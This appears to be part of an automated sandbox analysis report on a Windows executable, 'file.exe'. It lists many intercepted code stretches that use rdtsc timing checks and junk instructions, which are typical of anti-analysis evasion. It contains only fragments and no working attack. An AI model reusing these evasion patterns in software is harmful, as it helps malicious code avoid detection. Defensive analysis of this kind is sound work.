Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8928FD second address: 892904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893848 second address: 89384C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8957FF second address: 89582C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F6B55D157D4h 0x0000000c jmp 00007F6B55D157CBh 0x00000011 jnc 00007F6B55D157C6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898465 second address: 898469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89A5FA second address: 89A600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898643 second address: 898647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898647 second address: 89864B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899791 second address: 8997AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F6B550CB108h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F6B550CB106h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893B0C second address: 893B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89864B second address: 898659 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F6B550CB10Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892A5E second address: 892A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89870F second address: 898728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB115h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89B5AB second address: 89B5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C6F0 second address: 89C6FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F6B550CB106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C7B0 second address: 89C7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C7B4 second address: 89C7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89C7B8 second address: 89C7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F5EA second address: 89F5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F5F0 second address: 89F5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83D5A5 second address: 83D5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B550CB10Ah 0x00000009 je 00007F6B550CB106h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAC58 second address: 8AAC8E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6B55D157C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jne 00007F6B55D157C6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 jns 00007F6B55D157CCh 0x0000001d jl 00007F6B55D157C6h 0x00000023 push edx 0x00000024 push edi 0x00000025 pop edi 0x00000026 pop edx 0x00000027 popad 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jne 00007F6B55D157C6h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAC8E second address: 8AAC92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAC92 second address: 8AAC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAC98 second address: 8AAC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAC9E second address: 8AACB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AACB8 second address: 8AACD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB118h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AAD50 second address: 8AAD55 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF0ED second address: 8AF0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 ja 00007F6B550CB106h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF4B9 second address: 8AF4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F6B55D157D0h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF4D6 second address: 8AF504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6B550CB106h 0x0000000a pop edx 0x0000000b pushad 0x0000000c jmp 00007F6B550CB117h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 js 00007F6B550CB106h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF7CB second address: 8AF7E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B55D157D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF7E4 second address: 8AF7EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6B550CB106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF7EE second address: 8AF818 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6B55D157C6h 0x00000008 jmp 00007F6B55D157D0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jo 00007F6B55D157DCh 0x00000017 jg 00007F6B55D157CCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF818 second address: 8AF81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845BC7 second address: 845BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880E47 second address: 880E4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880E4C second address: 880E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88120F second address: 881213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8812FC second address: 881300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881300 second address: 881306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88153F second address: 881545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881545 second address: 88154A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88154A second address: 881561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B55D157D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881561 second address: 881565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881565 second address: 881574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881574 second address: 881591 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B550CB119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881591 second address: 881597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881597 second address: 88159B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88159B second address: 8815BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6B55D157D4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8815BE second address: 8815FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F6B550CB10Ch 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007F6B550CB115h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6B550CB10Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8816DD second address: 8816E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881834 second address: 881838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881C42 second address: 881C99 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F6B55D157C8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 and cx, 69ABh 0x00000029 push 0000001Eh 0x0000002b push 00000000h 0x0000002d push ebp 0x0000002e call 00007F6B55D157C8h 0x00000033 pop ebp 0x00000034 mov dword ptr [esp+04h], ebp 0x00000038 add dword ptr [esp+04h], 00000017h 0x00000040 inc ebp 0x00000041 push ebp 0x00000042 ret 0x00000043 pop ebp 0x00000044 ret 0x00000045 mov cl, bh 0x00000047 nop 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881C99 second address: 881CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881CA0 second address: 881CAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6B55D157C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881CAA second address: 881CBE instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B550CB106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881CBE second address: 881CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88209A second address: 88209E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A5F5 second address: 86A5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3138 second address: 8B314A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6B550CB106h 0x0000000a jc 00007F6B550CB10Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B314A second address: 8B315D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6B55D157CBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B315D second address: 8B316C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnc 00007F6B550CB106h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3408 second address: 8B340E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B340E second address: 8B3414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3843 second address: 8B384E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6B55D157C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B384E second address: 8B3853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3B0F second address: 8B3B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3B15 second address: 8B3B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6B550CB106h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3B21 second address: 8B3B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jmp 00007F6B55D157D7h 0x00000011 jmp 00007F6B55D157CAh 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3B52 second address: 8B3B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3B58 second address: 8B3B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B3B5E second address: 8B3B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B936A second address: 8B936E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B936E second address: 8B9389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6B550CB115h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9389 second address: 8B938E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8205 second address: 8B8235 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F6B550CB119h 0x00000015 jg 00007F6B550CB106h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B87C1 second address: 8B87C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B87C7 second address: 8B87CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B8C0B second address: 8B8C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9075 second address: 8B907D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B907D second address: 8B9081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9081 second address: 8B9085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCD30 second address: 8BCD35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCD35 second address: 8BCD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCD3D second address: 8BCD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCD46 second address: 8BCD4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4064 second address: 8C406B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C406B second address: 8C4071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4071 second address: 8C4077 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C41FF second address: 8C420D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B550CB10Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C436A second address: 8C4371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4371 second address: 8C437E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B550CB108h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4504 second address: 8C4525 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6B55D157C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6B55D157D5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C46C0 second address: 8C46DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F6B550CB106h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B550CB10Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C46DA second address: 8C46E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4823 second address: 8C482C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C482C second address: 8C4831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4B3E second address: 8C4B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4C79 second address: 8C4C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5078 second address: 8C5080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3975 second address: 8C397B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C397B second address: 8C3994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6B550CB10Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C3994 second address: 8C3998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
